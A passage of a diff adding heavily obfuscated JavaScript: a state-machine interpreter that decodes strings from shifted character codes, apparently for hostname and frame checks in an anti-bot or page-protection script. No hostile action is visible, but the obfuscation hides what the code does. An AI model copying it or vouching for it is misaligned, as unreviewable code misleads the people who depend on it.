_$bc = _$xo; + _$lc = _$kc[_$bc] + } + _$Mi = _$lc + } + _$Xr -= 106; + break; + case 267: + _$Xo = []; + _$Xr -= 87; + break; + case 268: + _$yb = 1; + _$Xr -= 65; + break; + case 269: + if (!_$Oc) { + _$Fo = (_$kc = {}, + _$kc); + _$Br = _$Fo; + _$nc = _$PC; + _$fc = 0; + _$Br[_$nc] = _$fc; + _$Br = _$Fo; + _$pW = _$Br + } + _$Xr -= 238; + break; + case 270: + _$Mv = [7232, 7616, 6464, 6208, 7360, 6400, 7808, 7680, 6336]; + _$Xr -= 15; + break; + case 271: + _$Jo = _$zf; + _$$o = {}; + _$ak = _$aa + _$ia + _$Wr + _$Yr + _$F + _$J + _$ta + _$fa + _$va + _$ea + _$ra + _$x + _$$ + _$$e + _$na + _$sa + _$B + _$ca + _$X; + _$ek = _$bW(_$ak.d(0) - _$ak.length); + _$Xr -= 126; + break; + case 272: + _$Zk = _$Ok.length / 4; + _$Xr -= 204; + break; + case 273: + for (_$rk = 0, + _$ck = _$tY.length; _$rk < _$ck; _$rk++) { + _$Br = _$tY; + _$nc = _$rk; + _$fc = _$Br[_$nc]; + _$oc = _$bW(_$fc); + _$ss += _$oc + } + _$Xr -= 29; + break; + case 274: + _$fo = _$fo.p(_$no); + _$Xr += 4; + break; + case 275: + if (_$Mi && _$Nc) { + try { + _$Br = _$zA; + _$vk = _$Br; + _$nc = 1; + _$sk = _$nc; + _$Br = _$sk; + _$nc = 1; + _$fc = _$Br + _$nc; + _$sk = _$fc; + _$Br = 1; + _$vk = _$Br; + _$Br = _$BC; + _$nk = _$Br; + _$Br = _$sk; + _$vk = _$Br; + _$Br = 368; + _$nc = 476; + _$fc = 172; + _$oc = 232; + _$lc = 368; + _$hc = 188; + _$gc = 368; + _$uc = 188; + _$pc = 160; + _$Cc = 364; + _$Dc = 376; + _$nv = 368; + _$fv = 188; + _$tv = 232; + _$iv = 372; + _$ov = 172; + _$kv = 164; + _$bv = [_$Br, _$nc, _$fc, _$oc, _$lc, _$hc, _$gc, _$uc, _$pc, _$Cc, _$Dc, _$nv, _$fv, _$tv, _$iv, _$ov, _$kv]; + _$sk = _$bv; + for (_$fk = 0; _$fk < _$sk.length; _$fk++) { + _$Br = _$nk; + _$nc = _$sk; + _$fc = _$fk; + _$oc = _$nc[_$fc]; + _$lc = 2; + _$hc = _$oc >> _$lc; + _$gc = _$bW(_$hc); + _$uc = _$Br + _$gc; + _$nk = _$uc + } + _$Br = _$sk; + _$nc = _$LC; + _$fc = _$vk; + _$oc = _$Br[_$nc](_$fc); + _$sk = _$oc; + _$Br = _$ZA; + _$tk = _$Br; + _$nc = 1; + _$ik = _$nc; + _$Br = _$ik; + _$nc = 1; + _$fc = _$Br + _$nc; + _$ik = _$fc; + _$Br = 1; + _$tk = _$Br; + _$Br = _$BC; + _$ok = _$Br; + _$Br = _$ik; + _$tk = _$Br; + _$Br = 116736; + _$nc = 103424; + _$fc = 114688; + _$oc = 110592; + _$lc = 99328; + _$hc = 101376; + _$gc = 103424; + _$uc = [_$Br, _$nc, _$fc, _$oc, _$lc, _$hc, _$gc]; + _$ik = _$uc; + for (_$kk = 0; _$kk < _$ik.length; _$kk++) { + _$Br = _$ok; + _$nc = _$ik; + _$fc = _$kk; + _$oc = _$nc[_$fc]; + _$lc = 10; + _$hc = _$oc >> _$lc; + _$gc = _$bW(_$hc); + _$uc = _$Br + _$gc; + _$ok = _$uc + } + _$Br = _$ik; + _$nc = _$LC; + _$fc = _$tk; + _$oc = _$Br[_$nc](_$fc); + _$ik = _$oc; + _$Br = _$NA; + _$bk = _$Br; + _$nc = 1; + _$lk = _$nc; + _$Br = _$lk; + _$nc = 1; + _$fc = _$Br + _$nc; + _$lk = _$fc; + _$Br = 1; + _$bk = _$Br; + _$Br = _$BC; + _$hk = _$Br; + _$Br = _$lk; + _$bk = _$Br; + _$Br = 238; + _$nc = 238; + _$fc = 238; + _$oc = [_$Br, _$nc, _$fc]; + _$lk = _$oc; + for (_$gk = 0; _$gk < _$lk.length; _$gk++) { + _$Br = _$hk; + _$nc = _$lk; + _$fc = _$gk; + _$oc = _$nc[_$fc]; + _$lc = 1; + _$hc = _$oc >> _$lc; + _$gc = _$bW(_$hc); + _$uc = _$Br + _$gc; + _$hk = _$uc + } + _$Br = _$lk; + _$nc = _$LC; + _$fc = _$bk; + _$oc = _$Br[_$nc](_$fc); + _$lk = _$oc; + _$Br = _$V + _$H + _$q; + _$uk = _$Br; + _$nc = function(_$a, _$e) { + var _$r, _$c, _$v, _$s, _$n, _$f, _$t, _$i, _$o, _$k, _$b, _$l, _$h, _$g; + for (_$r = 0; _$r < _$a.length; _$r++) { + _$c = _$a; + _$v = _$r; + _$s = _$c[_$v]; + _$n = _$e; + _$f = _$s === _$n; + if (_$f) { + _$c = _$r; + return _$c + } + } + _$c = []; + _$t = _$c; + for (_$o = 0; _$o < 10; _$o++) { + _$c = _$t; + _$v = _$LC; + _$s = _$o; + _$n = 6; + _$f = _$s + _$n; + _$c[_$v](_$f) + } + _$c = _$t; + _$v = 4; + _$s = _$c[_$v]; + _$n = _$t; + _$f = 6; + _$k = _$n[_$f]; + _$b = _$s + _$k; + _$i = _$b; + _$c = _$i; + _$v = _$t; + _$s = 6; + _$n = _$v[_$s]; + _$f = _$c + _$n; + _$i = _$f; + _$c = _$i; + _$v = _$t; + _$s = 7; + _$n = _$v[_$s]; + _$f = _$c * _$n; + _$i = _$f; + _$c = _$t; + _$v = 6; + _$s = _$c[_$v]; + _$n = _$t; + _$f = 5; + _$k = _$n[_$f]; + _$b = _$s - _$k; + _$l = 0; + _$h = _$b > _$l; + if (_$h) { + _$c = _$i; + _$v = _$t; + _$s = 3; + _$n = _$v[_$s]; + _$f = _$c + _$n; + _$i = _$f; + _$c = _$i; + _$v = _$t; + _$s = 2; + _$n = _$v[_$s]; + _$f = _$c + _$n; + _$k = _$t; + _$b = 5; + _$l = _$k[_$b]; + _$h = _$f - _$l; + _$i = _$h + } else { + _$c = _$i; + _$v = _$t; + _$s = 6; + _$n = _$v[_$s]; + _$f = _$c * _$n; + _$i = _$f; + _$c = _$i; + _$v = _$t; + _$s = 2; + _$n = _$v[_$s]; + _$f = _$c - _$n; + _$i = _$f + } + _$c = _$t; + _$v = 8; + _$s = _$i; + _$n = _$t; + _$f = 4; + _$k = _$n[_$f]; + _$b = _$s / _$k; + _$c[_$v] = _$b; + _$c = _$i; + _$v = _$t; + _$s = 6; + _$n = _$v[_$s]; + _$f = _$c - _$n; + _$i = _$f; + _$c = _$i; + _$v = _$t; + _$s = 8; + _$n = _$v[_$s]; + _$f = _$c + _$n; + _$i = _$f; + _$c = _$i; + _$v = _$t; + _$s = 4; + _$n = _$v[_$s]; + _$f = _$c / _$n; + _$i = _$f; + _$c = _$i; + _$v = _$t; + _$s = 6; + _$n = _$v[_$s]; + _$f = _$c - _$n; + if (_$f) { + _$c = _$i; + _$v = _$t; + _$s = 3; + _$n = _$v[_$s]; + _$f = _$c + _$n; + _$i = _$f + } + _$c = _$i; + _$v = _$t; + _$s = 2; + _$n = _$v[_$s]; + _$f = _$c - _$n; + _$i = _$f; + _$c = _$i; + _$v = _$t; + _$s = 6; + _$n = _$v[_$s]; + _$f = _$c * _$n; + _$i = _$f; + _$c = _$t; + _$v = 0; + _$s = _$c[_$v]; + _$g = _$s; + _$c = _$t; + _$v = 8; + _$s = _$c[_$v]; + _$n = _$t; + _$f = 5; + _$k = _$n[_$f]; + _$b = _$s - _$k; + _$l = 0; + _$h = _$b > _$l; + if (_$h) { + _$c = _$i; + _$v = _$t; + _$s = 4; + _$n = _$v[_$s]; + _$f = _$c + _$n; + _$i = _$f; + _$c = _$i; + _$v = _$t; + _$s = 6; + _$n = _$v[_$s]; + _$f = _$c + _$n; + _$k = _$t; + _$b = 5; + _$l = _$k[_$b]; + _$h = _$f - _$l; + _$i = _$h + } else { + _$c = _$i; + _$v = _$t; + _$s = 0; + _$n = _$v[_$s]; + _$f = _$c * _$n; + _$i = _$f; + _$c = _$i; + _$v = _$t; + _$s = 2; + _$n = _$v[_$s]; + _$f = _$c - _$n; + _$i = _$f + } + _$c = _$t; + _$v = 4; + _$s = _$i; + _$n = _$t; + _$f = 5; + _$k = _$n[_$f]; + _$b = _$s - _$k; + _$c[_$v] = _$b; + _$c = _$i; + _$v = _$t; + _$s = 2; + _$n = _$v[_$s]; + _$f = _$c - _$n; + _$i = _$f; + _$c = _$i; + _$v = _$t; + _$s = 8; + _$n = _$v[_$s]; + _$f = _$c / _$n; + _$i = _$f; + _$c = _$i; + _$v = _$t; + _$s = 2; + _$n = _$v[_$s]; + _$f = _$c - _$n; + _$i = _$f; + _$c = 1; + _$v = -_$c; + return _$v + } + ; + _$pk = _$nc; + _$fc = _$oa + _$_ + _$E + _$z + _$L + _$R + _$N + _$Z; + _$yk = _$fc; + _$oc = _$yk; + _$lc = _$PC; + _$hc = _$oc[_$lc]; + _$wk = _$hc; + _$gc = 0; + _$mk = _$gc; + _$Br = []; + _$Tk = _$Br; + _$Br = _$uk; + _$nc = _$PC; + _$fc = _$Br[_$nc]; + _$oc = 4; + _$lc = _$fc / _$oc; + _$dk = _$lc; + for (_$jk = 0; _$jk < _$dk; _$jk++) { + _$Br = _$yk; + _$nc = _$uk; + _$fc = _$_C; + _$oc = _$mk; + _$lc = _$nc[_$fc](_$oc); + _$hc = _$pk(_$Br, _$lc); + _$Sk = _$hc; + _$mk++; + _$Br = _$yk; + _$nc = _$uk; + _$fc = _$_C; + _$oc = _$mk; + _$lc = _$nc[_$fc](_$oc); + _$hc = _$pk(_$Br, _$lc); + _$Ak = _$hc; + _$mk++; + _$Br = _$yk; + _$nc = _$uk; + _$fc = _$_C; + _$oc = _$mk; + _$lc = _$nc[_$fc](_$oc); + _$hc = _$pk(_$Br, _$lc); + _$Ik = _$hc; + _$mk++; + _$Br = _$yk; + _$nc = _$uk; + _$fc = _$_C; + _$oc = _$mk; + _$lc = _$nc[_$fc](_$oc); + _$hc = _$pk(_$Br, _$lc); + _$Mk = _$hc; + _$mk++; + _$Br = _$Tk; + _$nc = _$jk; + _$fc = _$Sk; + _$oc = _$wk; + _$lc = _$fc * _$oc; + _$hc = _$wk; + _$gc = _$lc * _$hc; + _$uc = _$wk; + _$pc = _$gc * _$uc; + _$Cc = _$Ak; + _$Dc = _$wk; + _$nv = _$Cc * _$Dc; + _$fv = _$wk; + _$tv = _$nv * _$fv; + _$iv = _$pc + _$tv; + _$ov = _$Ik; + _$kv = _$wk; + _$bv = _$ov * _$kv; + _$lv = _$iv + _$bv; + _$hv = _$Mk; + _$gv = _$lv + _$hv; + _$Br[_$nc] = _$gv + } + _$Br = _$BC; + _$dk = _$Br; + for (_$Ck = 0; _$Ck < _$Tk.length; _$Ck++) { + _$Br = _$Tk; + _$nc = _$Ck; + _$fc = _$Br[_$nc]; + _$oc = _$bW(_$fc); + _$dk += _$oc + } + _$Br = _$ks; + _$nc = _$nk; + _$fc = new _$Br(_$nc); + _$oc = _$dk; + _$lc = _$Nc; + _$hc = _$fc[_$oc](_$lc); + _$gc = 1; + _$uc = _$hc[_$gc]; + _$pc = _$ok; + _$Cc = _$hk; + _$Dc = _$GA; + _$nv = _$uc[_$pc](_$Cc, _$Dc); + _$Cv = _$nv + } catch (_$a) {} + } + _$Xr -= 110; + break; + case 276: + _$LY = []; + _$Xr += 12; + break; + case 277: + for (_$Dk = 0; _$Dk < _$gn.length; _$Dk++) { + _$Br = _$en; + _$nc = _$gn; + _$fc = _$Dk; + _$oc = _$nc[_$fc]; + _$lc = 5; + _$hc = _$oc >> _$lc; + _$gc = _$bW(_$hc); + _$uc = _$Br + _$gc; + _$en = _$uc + } + _$Xr -= 108; + break; + case 278: + _$Kk = typeof _$OY[_$dt] === _$pt; + _$Xr -= 2; + break; + case 279: + _$Zt = 1; + _$Xr -= 172; + break; + case 280: + _$vU(); + _$Xr += 18; + break; + case 281: + _$Qk = _$Dr + _$I + _$m + _$K + _$D + _$Er + _$j + _$A + _$P + _$C + _$U + _$G + _$O + _$Q + _$Y + _$S + _$W + _$T + _$M + _$br; + _$Wk = _$bW(_$Qk.d(0) - _$Qk.length); + _$Xr -= 188; + break; + case 282: + for (_$Yk = 0, + _$Uk = _$tY.length; _$Yk < _$Uk; ++_$Yk) { + _$Br = _$LY; + _$nc = _$LC; + _$fc = _$tY; + _$oc = _$Yk; + _$lc = _$fc[_$oc]; + _$Br[_$nc](_$lc) + } + _$Xr -= 2; + break; + case 283: + _$Ok = _$u + _$w + _$g + _$p + _$y + _$d + _$h; + _$Pk = function(_$a, _$e) { + var _$r = _$PA; + var _$c = _$OA; + var _$v = _$UA; + var _$s, _$n, _$f, _$t, _$i, _$o, _$k, _$b, _$l, _$h, _$g, _$u, _$p, _$y; + for (_$s = 0; _$s < _$a.length; _$s++) { + _$n = _$a; + _$f = _$s; + _$t = _$n[_$f]; + _$i = _$e; + _$o = _$t === _$i; + if (_$o) { + _$n = _$s; + return _$n + } + } + _$n = []; + _$k = _$n; + _$f = _$r + _$v + _$c; + _$b = _$f; + for (_$l = _$b.length - 1; _$l >= 0; _$l--) { + _$n = _$k; + _$f = _$LC; + _$t = _$b; + _$i = _$_C; + _$o = _$l; + _$h = _$t[_$i](_$o); + _$n[_$f](_$h) + } + _$n = _$k; + _$f = _$RC; + _$t = _$BC; + _$i = _$n[_$f](_$t); + _$k = _$i; + _$n = _$b; + _$f = _$_C; + _$t = 5; + _$i = _$n[_$f](_$t); + _$o = _$k; + _$h = _$_C; + _$g = 4; + _$u = _$o[_$h](_$g); + _$p = _$i > _$u; + if (_$p) { + _$n = _$b; + _$f = _$EC; + _$t = _$n + _$f; + _$b = _$t + } + _$n = _$k; + _$f = _$b; + _$t = _$n + _$f; + _$y = _$t; + _$n = []; + _$b = _$n; + for (_$l = _$b.length - 1; _$l >= 4; _$l--) { + _$n = _$b; + _$f = _$LC; + _$t = _$y; + _$i = _$_C; + _$o = _$l; + _$h = _$t[_$i](_$o); + _$n[_$f](_$h) + } + _$n = _$b; + _$f = _$RC; + _$t = _$BC; + _$i = _$n[_$f](_$t); + _$b = _$i; + _$n = _$zC; + _$b += _$n; + _$n = _$ZC; + _$b += _$n; + _$n = _$_C; + _$b += _$n; + _$n = _$zC; + _$b += _$n; + _$n = _$y; + _$k = _$n; + _$n = _$b; + _$y = _$n; + _$n = _$b; + _$f = _$_C; + _$t = 5; + _$i = _$n[_$f](_$t); + _$o = _$k; + _$h = _$_C; + _$g = 7; + _$u = _$o[_$h](_$g); + _$p = _$i > _$u; + if (_$p) { + _$n = _$b; + _$f = _$NC; + _$t = _$n + _$f; + _$b = _$t + } + _$n = _$GC; + _$k += _$n; + _$n = 1; + _$f = -_$n; + return _$f + } + ; + _$Gk = _$k + _$b + _$t + _$o + _$L + _$f + _$l + _$i; + _$Nk = _$Gk.length; + _$Lk = 0; + _$Xr -= 183; + break; + case 284: + for (_$qk = 1; _$qk < _$Pt.length; _$qk++) { + _$Br = _$Pt; + _$nc = _$qk; + _$fc = _$Br[_$nc]; + _$Hk = _$fc; + _$oc = _$Nt; + _$lc = _$Nt; + _$hc = _$PC; + _$gc = _$lc[_$hc]; + _$uc = 1; + _$pc = _$gc - _$uc; + _$Cc = _$oc[_$pc]; + _$xk = _$Cc; + _$Br = _$Hk; + _$nc = _$xk; + _$fc = _$Br > _$nc; + if (_$fc) { + _$Gt++; + _$Br = _$Nt; + _$nc = _$LC; + _$fc = _$Hk; + _$Br[_$nc](_$fc) + } else { + _$Br = _$Hk; + _$nc = _$xk; + _$fc = _$Br < _$nc; + if (_$fc) { + for (_$Bk = 0; _$Bk < _$Nt.length; _$Bk++) { + _$Br = _$Hk; + _$nc = _$Nt; + _$fc = _$Bk; + _$oc = _$nc[_$fc]; + _$lc = _$Br <= _$oc; + if (_$lc) { + _$Br = _$Nt; + _$nc = _$Bk; + _$fc = _$Hk; + _$Br[_$nc] = _$fc; + break + } + } + } + } + } + _$Xr -= 43; + break; + case 285: + _$ft = 1; + _$Xr -= 149; + break; + case 286: + _$Av = 1; + _$Xr -= 144; + break; + case 287: + _$dY = _$Ab; + _$Xr -= 58; + break; + case 288: + _$LY.p(_$FW.length); + _$Xr += 11; + break; + case 289: + _$mW = _$LY; + _$Xr -= 194; + break; + case 290: + for (_$Xk = 0, + _$Fk = _$Sf.length; _$Xk < _$Fk; ++_$Xk) { + _$Br = _$s + _$n + _$v + _$c + _$r; + _$nb = _$Br; + _$Br = _$nb; + _$nc = _$PC; + _$fc = _$Br[_$nc]; + _$Jk = _$fc; + _$Br = []; + _$fb = _$Br; + for (_$tb = 0; _$tb < _$Jk; _$tb++) { + _$Br = _$nb; + _$nc = _$OC; + _$fc = _$tb; + _$oc = _$Br[_$nc](_$fc); + _$$k = _$oc; + _$Br = _$$k; + _$nc = 65536; + _$fc = _$Br >= _$nc; + _$oc = _$fc; + if (_$oc) { + _$kc = _$$k; + _$bc = 1114111; + _$oc = _$kc <= _$bc + } + if (_$oc) { + _$Br = _$fb; + _$nc = _$LC; + _$fc = _$$k; + _$oc = 18; + _$lc = _$fc >> _$oc; + _$hc = 7; + _$gc = _$lc & _$hc; + _$uc = 240; + _$pc = _$gc | _$uc; + _$Br[_$nc](_$pc); + _$Br = _$fb; + _$nc = _$LC; + _$fc = _$$k; + _$oc = 12; + _$lc = _$fc >> _$oc; + _$hc = 63; + _$gc = _$lc & _$hc; + _$uc = 128; + _$pc = _$gc | _$uc; + _$Br[_$nc](_$pc); + _$Br = _$fb; + _$nc = _$LC; + _$fc = _$$k; + _$oc = 6; + _$lc = _$fc >> _$oc; + _$hc = 63; + _$gc = _$lc & _$hc; + _$uc = 128; + _$pc = _$gc | _$uc; + _$Br[_$nc](_$pc); + _$Br = _$fb; + _$nc = _$LC; + _$fc = _$$k; + _$oc = 63; + _$lc = _$fc & _$oc; + _$hc = 128; + _$gc = _$lc | _$hc; + _$Br[_$nc](_$gc) + } else { + _$Br = _$$k; + _$nc = 2048; + _$fc = _$Br >= _$nc; + _$oc = _$fc; + if (_$oc) { + _$kc = _$$k; + _$bc = 65535; + _$oc = _$kc <= _$bc + } + if (_$oc) { + _$Br = _$fb; + _$nc = _$LC; + _$fc = _$$k; + _$oc = 12; + _$lc = _$fc >> _$oc; + _$hc = 15; + _$gc = _$lc & _$hc; + _$uc = 224; + _$pc = _$gc | _$uc; + _$Br[_$nc](_$pc); + _$Br = _$fb; + _$nc = _$LC; + _$fc = _$$k; + _$oc = 6; + _$lc = _$fc >> _$oc; + _$hc = 63; + _$gc = _$lc & _$hc; + _$uc = 128; + _$pc = _$gc | _$uc; + _$Br[_$nc](_$pc); + _$Br = _$fb; + _$nc = _$LC; + _$fc = _$$k; + _$oc = 63; + _$lc = _$fc & _$oc; + _$hc = 128; + _$gc = _$lc | _$hc; + _$Br[_$nc](_$gc) + } else { + _$Br = _$$k; + _$nc = 128; + _$fc = _$Br >= _$nc; + _$oc = _$fc; + if (_$oc) { + _$kc = _$$k; + _$bc = 2047; + _$oc = _$kc <= _$bc + } + if (_$oc) { + _$Br = _$fb; + _$nc = _$LC; + _$fc = _$$k; + _$oc = 6; + _$lc = _$fc >> _$oc; + _$hc = 31; + _$gc = _$lc & _$hc; + _$uc = 192; + _$pc = _$gc | _$uc; + _$Br[_$nc](_$pc); + _$Br = _$fb; + _$nc = _$LC; + _$fc = _$$k; + _$oc = 63; + _$lc = _$fc & _$oc; + _$hc = 128; + _$gc = _$lc | _$hc; + _$Br[_$nc](_$gc) + } else { + _$Br = _$fb; + _$nc = _$LC; + _$fc = _$$k; + _$oc = 255; + _$lc = _$fc & _$oc; + _$Br[_$nc](_$lc) + } + } + } + } + _$Br = _$fb; + _$nc = _$PC; + _$fc = _$Br[_$nc]; + _$ab = _$fc; + _$Br = _$ab; + _$nc = 2; + _$fc = _$Br / _$nc; + _$ab = _$fc; + _$Br = []; + _$ib = _$Br; + _$Br = 0; + _$eb = _$Br; + for (_$ob = 0; _$ob < _$ab; _$ob++) { + _$Br = _$fb; + _$nc = _$eb; + _$fc = _$Br[_$nc]; + _$vb = _$fc; + _$Br = _$fb; + _$nc = _$eb; + _$fc = 1; + _$oc = _$nc + _$fc; + _$lc = _$Br[_$oc]; + _$sb = _$lc; + _$Br = _$eb; + _$nc = 2; + _$fc = _$Br + _$nc; + _$eb = _$fc; + _$Br = _$vb; + _$nc = 46; + _$fc = _$Br - _$nc; + _$vb = _$fc; + _$Br = _$sb; + _$nc = 46; + _$fc = _$Br - _$nc; + _$sb = _$fc; + _$Br = _$sb; + _$nc = 19; + _$fc = _$Br * _$nc; + _$oc = _$vb; + _$lc = _$fc + _$oc; + _$cb = _$lc; + _$Br = _$cb; + _$nc = 11; + _$fc = _$Br ^ _$nc; + _$rb = _$fc; + _$Br = _$ib; + _$nc = _$ob; + _$fc = _$rb; + _$Br[_$nc] = _$fc + } + _$Br = _$BC; + _$kb = _$Br; + for (_$ub = 0; _$ub < _$ib.length; _$ub++) { + _$Br = _$ib; + _$nc = _$ub; + _$fc = _$Br[_$nc]; + _$oc = _$a + _$e; + _$lc = 2; + _$hc = _$fc[_$oc](_$lc); + _$bb = _$hc; + _$Br = _$bb; + _$nc = _$LS; + _$fc = /^1+?(?=0)/; + _$oc = _$Br[_$nc](_$fc); + _$lb = _$oc; + _$Br = _$lb; + _$nc = _$Br; + if (_$nc) { + _$kc = _$bb; + _$bc = _$PC; + _$Tc = _$kc[_$bc]; + _$jc = 8; + _$nc = _$Tc === _$jc + } + if (_$nc) { + _$Br = _$lb; + _$nc = 0; + _$fc = _$Br[_$nc]; + _$oc = _$PC; + _$lc = _$fc[_$oc]; + _$hb = _$lc; + _$Br = _$ib; + _$nc = _$ub; + _$fc = _$Br[_$nc]; + _$oc = _$_r + _$Rr; + _$lc = 2; + _$hc = _$fc[_$oc](_$lc); + _$gc = _$_S; + _$uc = 7; + _$pc = _$hb; + _$Cc = _$uc - _$pc; + _$Dc = _$hc[_$gc](_$Cc); + _$gb = _$Dc; + for (_$pb = 0; _$pb < _$hb; _$pb++) { + _$Br = _$ib; + _$nc = _$pb; + _$fc = _$ub; + _$oc = _$nc + _$fc; + _$lc = _$Br[_$oc]; + _$hc = _$Vr + _$Lr; + _$gc = 2; + _$uc = _$lc[_$hc](_$gc); + _$pc = _$_S; + _$Cc = 2; + _$Dc = _$uc[_$pc](_$Cc); + _$gb += _$Dc + } + _$Br = _$gb; + _$nc = 2; + _$fc = parseInt(_$Br, _$nc); + _$oc = _$bW(_$fc); + _$kb += _$oc; + _$Br = _$hb; + _$nc = 1; + _$fc = _$Br - _$nc; + _$ub += _$fc + } else { + _$Br = _$ib; + _$nc = _$ub; + _$fc = _$Br[_$nc]; + _$oc = _$bW(_$fc); + _$kb += _$oc + } + } + _$Br = _$ls; + _$nc = _$kb; + _$fc = _$Sf; + _$oc = _$_C; + _$lc = _$Xk; + _$hc = _$fc[_$oc](_$lc); + _$gc = _$Br[_$nc](_$hc); + if (_$gc) { + _$Br = _$ls; + _$nc = _$Sf; + _$fc = _$_C; + _$oc = _$Xk; + _$lc = _$nc[_$fc](_$oc); + _$hc = _$Br[_$lc]; + _$hs += _$hc + } else { + _$Br = _$Sf; + _$nc = _$_C; + _$fc = _$Xk; + _$oc = _$Br[_$nc](_$fc); + _$hs += _$oc + } + } + _$Xr -= 173; + break; + case 291: + _$yb = _$YA; + _$wb = 1; + _$Xr -= 135; + break; + case 292: + for (_$db = 0; _$db < _$fo.length; _$db++) { + _$Br = _$dt; + _$nc = _$fo; + _$fc = _$db; + _$oc = _$nc[_$fc]; + _$lc = 15; + _$hc = _$oc >> _$lc; + _$gc = _$bW(_$hc); + _$uc = _$Br + _$gc; + _$dt = _$uc + } + _$Xr -= 18; + break; + case 293: + for (_$Mb = 0; _$Mb < _$of.length; _$Mb++) { + _$Br = _$gi; + _$nc = _$of; + _$fc = _$Mb; + _$oc = _$nc[_$fc]; + _$lc = 15; + _$hc = _$oc >> _$lc; + _$gc = _$bW(_$hc); + _$uc = _$Br + _$gc; + _$gi = _$uc + } + _$Xr -= 258; + break; + case 294: + _$Ib = []; + _$Xr -= 169; + break; + case 295: + _$Of = _$Of.p(_$Uf); + _$Xr -= 24; + break; + case 296: + if (_$nt[_$ut](_$ev) == -1 && _$nt[_$An](_$gi) == -1) { + _$Br = 0; + _$Oc = _$Br + } + _$Xr -= 27; + break; + case 297: + _$Oc = _$Oc && _$Zv[_$Yb] == _$Gc[_$vf]; + _$Xr -= 274; + break; + case 298: + _$Ab = []; + _$Xr -= 141; + break; + case 299: + for (_$Yk = 0, + _$Uk = _$FW.length; _$Yk < _$Uk; ++_$Yk) { + _$Br = _$LY; + _$nc = _$LC; + _$fc = _$FW; + _$oc = _$Yk; + _$lc = _$fc[_$oc]; + _$Br[_$nc](_$lc) + } + _$Xr -= 98; + break; + case 300: + _$Sb = _$vs; + _$Xr -= 16; + break; + case 301: + if (_$Mi) { + _$Br = _$WA; + _$mb = _$Br; + _$nc = 1; + _$Tb = _$nc; + _$Br = _$Tb; + _$nc = 1; + _$fc = _$Br + _$nc; + _$Tb = _$fc; + _$Br = 1; + _$mb = _$Br; + _$Br = _$BC; + _$jb = _$Br; + _$Br = _$Tb; + _$mb = _$Br; + _$Br = 7424; + _$nc = 7104; + _$fc = 7168; + _$oc = [_$Br, _$nc, _$fc]; + _$Tb = _$oc; + for (_$Cb = 0; _$Cb < _$Tb.length; _$Cb++) { + _$Br = _$jb; + _$nc = _$Tb; + _$fc = _$Cb; + _$oc = _$nc[_$fc]; + _$lc = 6; + _$hc = _$oc >> _$lc; + _$gc = _$bW(_$hc); + _$uc = _$Br + _$gc; + _$jb = _$uc + } + _$Br = _$Tb; + _$nc = _$LC; + _$fc = _$mb; + _$oc = _$Br[_$nc](_$fc); + _$Tb = _$oc; + _$Br = _$Nc; + _$nc = _$jb; + _$fc = _$Br[_$nc]; + _$Nc = _$fc + } + _$Xr -= 128; + break; + case 302: + for (_$Db = 0; _$Db < _$is.length; _$Db++) { + _$Br = _$Js; + _$nc = _$is; + _$fc = _$Db; + _$oc = _$nc[_$fc]; + _$lc = 7; + _$hc = _$oc >> _$lc; + _$gc = _$bW(_$hc); + _$uc = _$Br + _$gc; + _$Js = _$uc + } + _$Xr -= 218; + break; + case 303: + for (_$Kb = 0; _$Kb < _$Jo.length; ) { + _$Br = _$tf; + _$nc = _$_C; + _$fc = _$Jo; + _$oc = _$_C; + _$lc = _$Kb; + _$hc = _$fc[_$oc](_$lc); + _$gc = _$OC; + _$uc = _$hc[_$gc](); + _$pc = 32; + _$Cc = _$uc - _$pc; + _$Dc = _$Br[_$nc](_$Cc); + _$Qb = _$Dc; + _$nv = _$tf; + _$fv = _$_C; + _$tv = _$Jo; + _$iv = _$_C; + _$ov = _$Kb; + _$kv = 1; + _$bv = _$ov + _$kv; + _$lv = _$tv[_$iv](_$bv); + _$hv = _$OC; + _$gv = _$lv[_$hv](); + _$uv = 32; + _$pv = _$gv - _$uv; + _$yv = _$nv[_$fv](_$pv); + _$Wb = _$yv; + _$Br = _$$o; + _$nc = _$Qb; + _$fc = _$Wb; + _$Br[_$nc] = _$fc; + _$Br = _$Kb; + _$nc = 2; + _$fc = _$Br + _$nc; + _$Kb = _$fc + } + _$Xr -= 95; + break; + case 304: + _$Yb = _$BC; + _$Xr -= 207; + break; + case 305: + _$bf = _$bf + _$kf[6]; + _$Xr -= 278; + break + } + } + } + _$cW = function(_$a) { + var _$e = _$VC; + var _$r = _$qC; + var _$c, _$v, _$s, _$n, _$f, _$t, _$i, _$o, _$k, _$b, _$l, _$h, _$g, _$u, _$p, _$y, _$w, _$d, _$M, _$I, _$A, _$S, _$m, _$T, _$j, _$C, _$D, _$K, _$Q, _$W, _$Y, _$U, _$O, _$P, _$G, _$N; + _$c = 0; + _$v = _$c; + _$s = 18; + _$n = 12; + _$f = 14; + _$t = 3; + _$i = 8; + _$o = 7; + _$k = 9; + _$b = 19; + _$l = 10; + _$h = 15; + _$g = [_$s, _$n, _$f, _$t, _$i, _$o, _$k, _$b, _$l, _$h]; + _$u = _$g; + while (!![]) { + switch (_$u[_$v++]) { + case 1: + _$W = _$O; + break; + case 2: + _$O += _$zC; + break; + case 3: + _$U = _$U.j(_$BC); + _$p = [2, 11, 4, 16, 6, 20, 1, 13, 5, 17]; + break; + case 4: + _$O += _$_C; + break; + case 5: + _$U += _$GC; + break; + case 6: + for (_$y = 1; _$y < _$N; ++_$y) { + _$c = _$a; + _$s = _$y; + _$n = 1; + _$f = _$s - _$n; + _$t = _$c[_$f]; + _$i = _$QA; + _$o = _$t != _$i; + if (_$o) { + _$c = _$a; + _$s = _$y; + _$n = 1; + _$f = _$s - _$n; + _$t = _$c[_$f]; + _$i = _$a; + _$o = _$y; + _$k = _$i[_$o]; + _$b = _$t + _$k; + _$l = 0; + _$h = _$b | _$l; + _$w = _$h; + _$c = _$w; + _$s = 1; + _$n = _$c >= _$s; + _$f = _$n; + if (_$f) { + _$d = _$w; + _$M = 26; + _$f = _$d <= _$M + } + if (_$f) { + _$c = _$G; + _$s = _$y; + _$n = 1; + _$f = _$s + _$n; + _$t = _$a; + _$i = _$y; + _$o = _$t[_$i]; + _$k = _$QA; + _$b = _$o != _$k; + if (_$b) { + _$l = (_$d = _$G, + _$M = _$y, + _$I = 1, + _$A = _$M - _$I, + _$S = _$d[_$A], + _$m = _$G, + _$T = _$y, + _$j = _$m[_$T], + _$S + _$j) + } else { + _$l = (_$C = _$G, + _$D = _$y, + _$K = 1, + _$Q = _$D - _$K, + _$C[_$Q]) + } + _$c[_$f] = _$l + } else { + _$c = _$a; + _$s = _$y; + _$n = _$c[_$s]; + _$f = _$QA; + _$t = 